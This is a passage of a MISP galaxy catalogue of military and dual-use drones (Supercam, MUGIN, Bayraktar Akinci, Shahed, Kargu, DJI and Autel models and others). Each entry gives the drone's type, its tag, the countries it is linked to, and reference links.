The Supercam S350 is a Russian electric fixed-wing ISR UAV used for tactical reconnaissance, surveillance, and mapping, offering up to 4.5 hours endurance, 120 km/h top speed, and a 2.5 kg sensor payload. Unarmed and operated by Russian forces, it provides situational awareness and target observation support for battlefield and security missions.

The tag is: *misp-galaxy:uavs="Supercam S350"*

View relationships graph

Supercam S350 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24947. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/955834539eadc753a28aa1f7843efa3e
https://www.defensemirror.com/news/33849/Ukraine_Destroys_Russian_Supercam_S350_Reconnaissance_Drones
https://en.supercam.aero/catalog/supercams350
http://en.unmanned_modx.b.izhpt.com/catalog/supercam-s450
https://war-sanctions.gur.gov.ua/en/uav/217

T-20 (arcturus T-20)

UAS

The tag is: *misp-galaxy:uavs="T-20 (arcturus T-20)"*

View relationships graph

T-20 (arcturus T-20) has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-

probability="likely"

Table 24948. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/459c0165510b962fdc6fe35ddfe43330
https://www.airforce-technology.com/projects/arcturus-t-20-unmanned-aerial-vehicle/
https://www.w2ssolutions.com/blog/uav-drone-on-wildlife-monitoring/
https://en.wikipedia.org/wiki/AeroVironment_T-20

MUGIN-2 Pro

VTOL

The tag is: *misp-galaxy:uavs="MUGIN-2 Pro"*

View relationships graph

MUGIN-2 Pro has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24949. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7804b9ba4cfcce7324c07bbbf524eb17
https://www.airmobi.com/product/skyeye-3600-vtol-uav-platform/
https://www.youtube.com/watch?v=aXG9pV-g2V8

CR500 (Golden Eagle)

EW;ISR; VTOL

The tag is: *misp-galaxy:uavs="CR500 (Golden Eagle)"*

View relationships graph

CR500 (Golden Eagle) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24950. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/161a37a6aa98f9b5199bb3a5c813974c
https://twitter.com/nuwangzi/status/1505213966947135493
https://twitter.com/Jakepor21/status/1696137143855219069

https://x.com/zhao_dashuai/status/1674766872301150211

PD-1 (People Drone)

VTOL

The tag is: *misp-galaxy:uavs="PD-1 (People Drone)"*

View relationships graph

PD-1 (People Drone) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24951. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7414d3b2c4b26cad958d2dad28263ac9
https://avpay.aero/company/ukrspecsystems/product/pd-1-pro-fixed-wing-configuration-drone-for-sale/
https://www.f6s.com/company/doveair
https://en.defenceua.com/industries/pd_1_uav_hybridity_and_modularity-1675.html
https://www.unmannedsystemstechnology.com/2020/05/vtol-uav-used-for-fire-monitoring-and-location/

MUGIN-3

UAS

The tag is: *misp-galaxy:uavs="MUGIN-3"*

View relationships graph

MUGIN-3 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24952. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f1684e990b0deeb0b9a31c340568a183
https://www.muginuav.com/product/mugin-3-pro-3220mm-v-tail-carbon-fiber-uav-platform/
https://www.muginuav.com/product/new-mugin-3m-uav-v-tail-platformframe-kit/
https://www.muginuav.com/product/new-mugin-3m-uav-v-tailplatform-frame-kit/

MUGIN-4 Pro

VTOL

The tag is: *misp-galaxy:uavs="MUGIN-4 Pro"*

View relationships graph

MUGIN-4 Pro has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24953. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/047c07925b83587ffc68ed0ff9409bd3
https://www.facebook.com/muginuav/posts/502631276980924/?_rdr
https://www.uavmodel.com/products/skyeye-2930mm-h-tail-full-carbon-fiber-uav-vtol
https://www.facebook.com/fpvmodel/posts/mugin-4-pro-4000-vtol-setup-with-recommended-power-package-and-u30tir-eoir-gimba/1261989574008717/

Supercam S150

UAS

The tag is: *misp-galaxy:uavs="Supercam S150"*

View relationships graph

Supercam S150 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24954. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4394d9b5e00c3f79fea7e8f92a038f39
https://en.supercam.aero/catalog/supercams150
https://war-sanctions.gur.gov.ua/en/uav/335

Sargut

VTOL

The tag is: *misp-galaxy:uavs="Sargut"*

View relationships graph

Sargut has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24955. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ebd08c9d8fe54733df60885904388fee
https://bigthink.com/the-present/lethal-autonomous-weapon-systems/
https://www.asisguard.com.tr/storage/media/SARGUT_ENG.pdf
https://www.asisguard.com.tr/en/product/sargut-unarmed-drone-system/

Revolver 860 Taiwanese

VTOL

The tag is: *misp-galaxy:uavs="Revolver 860 Taiwanese"*

View relationships graph

Revolver 860 Taiwanese has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="taiwan" with estimative-language:likelihood-probability="likely"

Table 24956. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3938d19c1f9e2b823792ff85d6991b7c
https://dronesvision.com/mortar-revolver-bomber-drone/

Bayraktar Akinci

The Bayraktar Akıncı is a next-generation Turkish combat drone developed by Baykar. It can fly at high altitudes, carry heavy payloads (up to 1.5 tons), and deploy precision-guided munitions. Equipped with artificial intelligence, it performs surveillance, strike, and electronic warfare missions.

The tag is: *misp-galaxy:uavs="Bayraktar Akinci"*

View relationships graph

Bayraktar Akinci has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="burkina faso" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kyrgyzstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="libya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="mali" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="somalia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 24957. Table References

Links
https://en.wikipedia.org/wiki/Bayraktar_Ak%C4%B1nc%C4%B1
https://odin.tradoc.army.mil/WEG/Asset/35f9155811be909de9a0b94cb31af84a
https://en.wikipedia.org/wiki/History_of_unmanned_combat_aerial_vehicles
https://commons.wikimedia.org/wiki/File:Baykar_Akinci.jpg
https://muminahmedoglu.medium.com/the-new-turkish-drone-akinci-why-its-a-critical-national-project-for-turkey-8a3925cf6c61
https://baykartech.com/en/uav/bayraktar-akinci/

Supercam S250

UAS

The tag is: *misp-galaxy:uavs="Supercam S250"*

View relationships graph

Supercam S250 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24958. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8e65ca3e52e2d4d8121b71c67d37cf42
https://en.supercam.aero/catalog/supercam-s250

Supercam X4S/X4E

The Supercam X4S is a small electric VTOL quadcopter used by Russia for short-range reconnaissance and inspection, providing rapid, runway-independent aerial observation in confined or urban environments. With a 15-minute endurance and 30 km/h top speed, it is unarmed and optimized for quick-look ISR and situational awareness tasks.

The tag is: *misp-galaxy:uavs="Supercam X4S/X4E"*

View relationships graph

Supercam X4S/X4E has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"

Table 24959. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/30be15d12859c4fee564f7aff9b17473
https://es.supercam.aero/catalog/supercam-x4s
https://innovateenergynow.com/resources/flyability-launcheselios-2-for-intuitive-indoor-inspections

KWT-TMOP-100

VTOL

The tag is: *misp-galaxy:uavs="KWT-TMOP-100"*

View relationships graph

KWT-TMOP-100 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24960. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c915185eed4aa23d09d68526585970f5

https://www.alltechuav.com/
https://www.aeroexpo.online/prod/alltech-176104.html
https://store.dji.com/product/matrice-600-pro

KWT-TMOP-300

VTOL

The tag is: *misp-galaxy:uavs="KWT-TMOP-300"*

View relationships graph

KWT-TMOP-300 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24961. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/ab3a23dcaa527c0c87d1ffe9e7e18a51
https://www.keweitai.com/kwttmop300
https://www.aeroexpo.online/es/prod/alltech/product-176104-75580.html
https://x.com/IndustrialUAV/status/1327161108692549633
https://pdf.directindustry.com/pdf/shenzhen-keweitai-enterprise-development-co-ltd/manpack-drone-systemtechnical-information/161742-927633.html

RAM II

LM

The tag is: *misp-galaxy:uavs="RAM II"*

View relationships graph

RAM II has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24962. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c358fb43a94edf1de8f0fcd07f05bbef
https://gagadget.com/en/how-it-works/124019-unsurpassed-weapons-ukrainian-kamikaze-drones-loitering-munition-st-35-grom-and-ram/
https://mezha.media/en/2022/10/10/ukrainians-raising-funds-for-ram-ii-uav-kamikaze-drones/

https://www.ukrinform.net/rubric-ato/3740257-war-of-drones-200000lancets-are-fake-but-threat-is-real.html

Supercam S100

The Supercam S100 is a Russian unmanned aerial vehicle with a one-piece fuselage designed as a flying-wing.

The tag is: *misp-galaxy:uavs="Supercam S100"*

View relationships graph

Supercam S100 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24963. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/b8d4b4936d0cac17c9a2f5aa483fc9e1
https://odin.tradoc.army.mil/WEG/Asset/Supercam_S250_Russian_Unmanned_Aerial_Vehicle_%28UAV%29
https://en.supercam.aero/catalog/supercam-s100
https://war-sanctions.gur.gov.ua/en/uav/340

Tomahawk H16-V12

VTOL

The tag is: *misp-galaxy:uavs="Tomahawk H16-V12"*

View relationships graph

Tomahawk H16-V12 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24964. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d9463752bc80b0eed2cc52137d717eda
https://thedeaddistrict.blogspot.com/2020/12/harwar-tomahawk-h16-v12-uavucav-in-pla.html
https://armchairgenerals.quora.com/PLA-H16-V12-tactical-supportUAV
https://x.com/RupprechtDeino/status/1310826272055062534

Quantix Recon

UAS, IRS

The tag is: *misp-galaxy:uavs="Quantix Recon"*

View relationships graph

Quantix Recon has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24965. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/77fb331666f43cb9f0e850c49ebda60d
https://aviationweek.com/defense-space/aircraft-propulsion/aerovironment-launches-military-derivative-quantix-drone
https://www.flightglobal.com/militaryuavs/aerovironment-lays-out-vision-for-teaming-aerial-drones-and-robotic-vehicles/143596.article
https://www.army-technology.com/projects/quantix-recon-unmannedaircraft-system/

Kargu

ISR, LM

The tag is: *misp-galaxy:uavs="Kargu"*

View relationships graph

Kargu has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24966. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c4f0bee8d378989558b29398482125f7
https://armyrecognition.com/news/aerospace-news/2025/tuerkiyes-stm-kargu-kamikaze-drone-with-armour-piercing-warhead-secures-second-export-contract
https://safe.menlosecurity.com/doc/docview/viewer/docN085AAB86828C5ffa3fb4000bba91d71f4b01dcbbf8cf45a24fd60ffbe3e012ff07c4f65b67d6
https://www.stm.com.tr/en/kargu-autonomous-tactical-multi-rotor-attack-uav

Vector AI

ISR, UAS, VTOL

The tag is: *misp-galaxy:uavs="Vector AI"*

View relationships graph

Vector AI has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24967. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/546b04e76961b74a3a334d77d091f727
https://quantum-systems.com/vector/

CH-804

UAS

The tag is: *misp-galaxy:uavs="CH-804"*

View relationships graph

CH-804 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24968. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/71d1f1ca4fede53cb72786d3b02f0c36
https://www.militarydrones.org.cn/rainbow-ch-804-drone-china-price-manufacturer-procurement-portal-p00159p1.html
http://www.cndefense.com/uav/CH-804.html

Supercam X6M2

The Supercam X6M2 is a Russian electric VTOL hexacopter used primarily for ISR, mapping, and infrastructure monitoring, carrying swappable EO/IR and photogrammetry payloads for day/night surveillance. It provides quiet, hover-capable operations for confined-area launch and recovery and is fielded by Russian operators as an unarmed reconnaissance platform.

The tag is: *misp-galaxy:uavs="Supercam X6M2"*

View relationships graph

Supercam X6M2 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24969. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e2349d84bfe0db96759a3926083761db
https://en.supercam.aero/catalog/supercam-x6m2eng

WZ-10 (Wing Loong 10)

HALE, UCAV

The tag is: *misp-galaxy:uavs="WZ-10 (Wing Loong 10)"*

View relationships graph

WZ-10 (Wing Loong 10) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"

Table 24970. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/679a091cad9f889a985494c1baffb42e
https://www.globalsecurity.org/military/world/china/cloud-shadow.htm
https://en.wikipedia.org/wiki/Chengdu_WZ-10
https://bulgarianmilitary.com/2024/02/10/boeing-courts-saudi-for-f-15exs-amid-acquisition-of-chinese-ucav/

WJ-700

UAS

The tag is: *misp-galaxy:uavs="WJ-700"*

View relationships graph

WJ-700 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24971. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f1061bd950c7acc3721cb47f39dcfa85
https://vpk.name/en/852074_chinese-wj-700-uav-and-its-armament.html
https://uasweekly.com/2018/11/06/china-aerospace-science-and-industry-corporationshows-off-new-long-range-strike-uas/
https://www.facebook.com/story.php/?story_fbid=872695268200001&id=100063786080917&_rdr

SHAHED-136 (Geran-2)

LM

The tag is: *misp-galaxy:uavs="SHAHED-136 (Geran-2)"*

View relationships graph

SHAHED-136 (Geran-2) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24972. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1b1d91a93381a2342ab11a9005ba0a59
https://www.forbes.com/sites/pauliddon/2023/02/16/iran-sees-ukraine-war-as-marketing-opportunity-for-drones-it-denies-supplying-russia/?sh=23086d14d90f
https://en.defence-ua.com/news/the_five_key_differences_between_the_new_shahed_kamikaze_drones_and_the_old_version-7401.html

Sokol Altius-ru (Альтиус, Альтаир, Altius, Altair)

The Sokol Altius (Altius-RU) is a Russian heavy MALE/HALE unmanned aerial vehicle designed for long-endurance missions. It was initially developed by OKB Sokol and is produced by UZGA for the Russian armed forces. The platform is intended for strategic ISR, carrying large sensor payloads. Its advertised endurance reaches up to 48 hours, supported by satellite communications. Operational use appears limited and still maturing, with few confirmed deployments in open sources.

The tag is: *misp-galaxy:uavs="Sokol Altius-ru (Альтиус, Альтаир, Altius, Altair)"*

View relationships graph

Sokol Altius-ru (Альтиус, Альтаир, Altius, Altair) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24973. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2281362bc70d8809bcf0f8c9fae9b8da
https://en.wikipedia.org/wiki/Sokol_Altius
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=1682
https://www.globalmilitary.net/aircraft/sokol-altius/
https://war-sanctions.gur.gov.ua/en/uav/418

PD-2

UAS, VTOL

The tag is: *misp-galaxy:uavs="PD-2"*

View relationships graph

PD-2 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24974. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9c26b5d279043cb83513c523920c6e98
https://www.unmannedsystemstechnology.com/2021/03/pd-2-fixed-wing-uas-datalink-range-upgraded/
https://www.unmannedsystemstechnology.com/company/ukrspecsystems/
https://en.wikipedia.org/wiki/PD-2

PC-8

UAS

The tag is: *misp-galaxy:uavs="PC-8"*

View relationships graph

PC-8 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24975. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/da45bc9c08d09e32180ea357d816d6b4

https://avpay.aero/company/ukrspecsystems/product/pc-8-drone-for-sale/

Switch

VTOL

The tag is: *misp-galaxy:uavs="Switch"*

View relationships graph

Switch has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 24976. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f79a5b619023dcbe54690d488007583c
https://unmanned-network.com/ideaforge-awarded-the-biggest-mini-vtol-uav-contract-beating-other-global-competitors/
https://www.researchgate.net/figure/Hybrid-VTOL-UAV-courtesy-https-wwwideaforgecoin-drones-switch-uav_fig2_364027598

SHAHED-131 (Geran-1)

LM

The tag is: *misp-galaxy:uavs="SHAHED-131 (Geran-1)"*

View relationships graph

SHAHED-131 (Geran-1) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 24977. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/feaeb623b88775ab0d2bf2e8abba7ab0
https://gagadget.com/en/171492-iranian-drones-shahed-131-use-american-components-for-50-from-ebay/
https://www.world-today-news.com/the-expertrevealed-what-drones-the-russian-federation-could-attack-kyiv/

https://www.quora.com/Why-don-t-Ukraine-or-Russia-use-eagles-to-hunt-down-cheap-drones-I-haveseen-some-videos-of-this-method-working
https://en.m.wikipedia.org/wiki/File:Shahed-131_%28Geran-1%29_components.jpg

ARK 40

LM, VTOL

The tag is: *misp-galaxy:uavs="ARK 40"*

View relationships graph

ARK 40 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24978. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0d3a8f0464c1334e6f9981eb8ceb15de
https://x.com/tphuang/status/1789599950851994085
https://www.victoriaadvocate.com/biztoday-china-drone-delivery-service/video_b19023ba-6217-57c9-88b4b8a8db9cd593.html
https://safe.menlosecurity.com/doc/docview/viewer/docN2C170977ABF89b431c17c420f65bffff1d60eafa9ed804541853851e465fcbb3f1a534c99e5d

ST35 Silent Thunder

LM

The tag is: *misp-galaxy:uavs="ST35 Silent Thunder"*

View relationships graph

ST35 Silent Thunder has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24979. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f1648e73ac8c682aa5bbc5e08edaed3f
https://commons.wikimedia.org/wiki/File:ST-35_Silent_Thunder,_Kyiv_2021,_20.jpg
https://www.marketforecast.com/news/military-robots-autonomous-systemsthe-changing-battlefield-1153
https://athlonavia.com/en/st-35-silent-thunder

IRIS

UAS

The tag is: *misp-galaxy:uavs="IRIS"*

View relationships graph

IRIS has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24980. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0d6b7e6fdc9f8cdc4198ecf70d9e2a33
https://www.wevolver.com/specs/iris
https://commons.wikimedia.org/wiki/File:Roboteam_IRIS.jpg
https://www.pinterest.ca/pin/541698661421360124/
https://robo-team.com/products/iris/

Evo II Dual 640T (Uco Special 1)

The EVO II Dual 640T is a professional multi-sensor UAV designed for day/night ISR and public-safety missions. It integrates a 640×512 thermal camera with a high-resolution EO sensor for simultaneous visual and IR imaging. The platform is widely used for law enforcement, border security, firefighting, and search-and-rescue. With long endurance and secure datalink, it supports persistent aerial surveillance in complex environments. The system is produced by Autel Robotics and is considered a dual-use, non-weaponised drone.

The tag is: *misp-galaxy:uavs="Evo II Dual 640T (Uco Special 1)"*

View relationships graph

Evo II Dual 640T (Uco Special 1) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24981. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/84e64f4c209b1948b649ee698834d18b
https://shop.autelrobotics.com/products/evo-ii-pro-v3-rugged-bundle-1
https://lens.google.com/search?
https://lens.google.com/search?ep=gisbubb&hl=en&re=df&p=AbrfA8okbmdQMnEhzRsppU_cB55SutX-hr199

Mugin EV460

VTOL

The tag is: *misp-galaxy:uavs="Mugin EV460"*

View relationships graph

Mugin EV460 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24982. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/8963e9a3e07f5ab7c9d422612b6efdbd
https://www.muginuav.com/product/mugin-ev350-full-electric-vtol-uav-arf/
https://www.muginuav.com/product/mugin-ev460-full-electric-carbon-fiber-uav-platform10kg-payload/
https://www.muginuav.com/product/mugin-ev460-full-electric-carbon-fiber-uav-platform-10kg-payload/
https://www.muginuav.com/product/mugin-ev460full-electric-carbon-fiber-uav-platform-10kg-payload/

MUGIN-6

VTOL

The tag is: *misp-galaxy:uavs="MUGIN-6"*

View relationships graph

MUGIN-6 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24983. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9bd5b03244577a42e2279e03836911ee
https://www.facebook.com/muginuav/posts/the-new-mugin-6000-vtol-is-here-more-details-are-available-soon-muginuavcom/888731075037607/
https://www.airmobi.com/product/skyeye-5000-vtol-uav-platform/

Evo II Enterprise

VTOL

The tag is: *misp-galaxy:uavs="Evo II Enterprise"*

View relationships graph

Evo II Enterprise has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24984. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/118bbedc095887b85ca3927c8274e628
https://www.walmart.com/ip/EVO-II-Dual-640T-Enterprise-Bundle/134686361
https://www.genpacdrones.com/product/autel-evo-ii-pro-enterprise-bundle/

Evo II RTK

VTOL

The tag is: *misp-galaxy:uavs="Evo II RTK"*

View relationships graph

Evo II RTK has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24985. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/3aa98518b45dd4bf66983205bf860c41
https://carlsonsw.com/product/autel-evo
https://www.ghostysky.com/product/autel-evo-ii-rtk-pro-rugged-bundle/
https://us.amazon.com/Autel-RoboticsQuadcopter-Extended-Expedition/dp/B08C3XTYM8

PC-1

VTOL

The tag is: *misp-galaxy:uavs="PC-1"*

View relationships graph

PC-1 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24986. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d821ac0ad1c2756ee245de6b704da5b3
https://uavamerica.com/pc-1-all-weather-uav/
https://avpay.aero/company/ukrspecsystems/product/pc-1-vtol-drone-for-sale/
https://www.popularmechanics.com/flight/drones/a25281/ukraine-makeshift-drones/
https://www.marquesaviation.com/pc-1-multirotor

ARK E35

VTOL

The tag is: *misp-galaxy:uavs="ARK E35"*

View relationships graph

ARK E35 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24987. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c968b287f01b33d18306fa5bae10125b
https://www.3dlaser-scanner.com/supplier-461721-vtol-fixed-wing-uav

Dragonfish Lite

VTOL

The tag is: *misp-galaxy:uavs="Dragonfish Lite"*

View relationships graph

Dragonfish Lite has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24988. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d8c41da1ce3b6a75b4c01d6efbb12000
https://www.autelmfg.com/products/autel-dragonfish-standard-with-z2-payload-camera
https://drone-works.com/autel-dragonfish-lite/
https://www.hldstore.com/en/product/dragonfish-estandar/

Dragonfish Standard

VTOL

The tag is: *misp-galaxy:uavs="Dragonfish Standard"*

View relationships graph

Dragonfish Standard has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24989. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f16bf7b9c549613054b6a821c9fe39a1
https://m.made-in-china.com/product/Long-Flight-Time-Industrial-Drones-Autel-Robotics-Dragon-Fish-2025672685.html
https://www.dronenerds.com/products/autel-dragonfish-7kg-triple-sensor
https://www.autelmfg.com/products/autel-dragonfish-standard-with-z2-payload-camera

KVD-001

UAS

The tag is: *misp-galaxy:uavs="KVD-001"*

View relationships graph

KVD-001 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24990. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/539d568b7446f39b346ac7f26370c262
https://www.globaltimes.cn/page/202209/1275087.shtml
https://www.westca.com/pda/forums/op=view_next/t=1376803/lang=schinese.html#0
https://min.news/en/military/9af69c8a41c8f7c675a0faf36a133608.html

Matrice 30T

The DJI Matrice 30T is a rugged professional multirotor UAV designed for all-weather ISR and public-safety operations. It integrates EO, zoom, thermal imaging, and a laser rangefinder in a single fixed payload. The platform supports long-endurance missions with high-speed transit and stable hover. It is widely used by law enforcement, emergency services, and government agencies.

Produced by DJI, the M30T is a non-weaponised, dual-use surveillance system.

The tag is: *misp-galaxy:uavs="Matrice 30T"*

View relationships graph

Matrice 30T has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24991. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5e5e255053360b84a3a175ebe69b6fe1
https://drone-parts-center.com/en/produit/dji-m30t-security-pack/
https://modelforce.eu/en/product/dji-matrice-30t-with-thermal/
https://www.crutchfield.com/STBCIrKYBLGL/p_964CPEN382/DJI-Matrice-30-with-Enterprise-Care-Basic.html
https://www.duncan-parnell.com/dji-matrice-30-with-batteries

Warmate

LM;SMALL

The tag is: *misp-galaxy:uavs="Warmate"*

View relationships graph

Warmate has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="poland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 24992. Table References

Links
https://wbgroup.pl/en/produkt/warmate-loitering-munnitions/
https://en.wikipedia.org/wiki/WB_Electronics_Warmate
https://odin.tradoc.army.mil/WEG/Asset/f870b345c53d54941843d94e3f5ee967
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2342#google_vignette

https://commons.wikimedia.org/wiki/File:Warmate_UAV,_Kyiv_2017,_03.jpg
https://defence24.com/polish-loitering-munitions-in-libya

Dragonfish Pro

VTOL

The tag is: *misp-galaxy:uavs="Dragonfish Pro"*

View relationships graph

Dragonfish Pro has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24993. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1749a9f650317216ce60f068d77511c8
https://www.autelmfg.com/products/autel-dragonfish-standard-with-z2-payload-camera
https://www.vertigodrones.com/Autel-Dragonfish-Pro-VTOL-Fixed-WingSurveillance-Drone_p_2304.html

Kaman-22 (□□□□)

UCAV

The tag is: *misp-galaxy:uavs="Kaman-22 (□□□□)"*

View relationships graph

Kaman-22 (□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 24994. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/5d3d35ddc09d0053f4022e13fd28e4fc
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2534
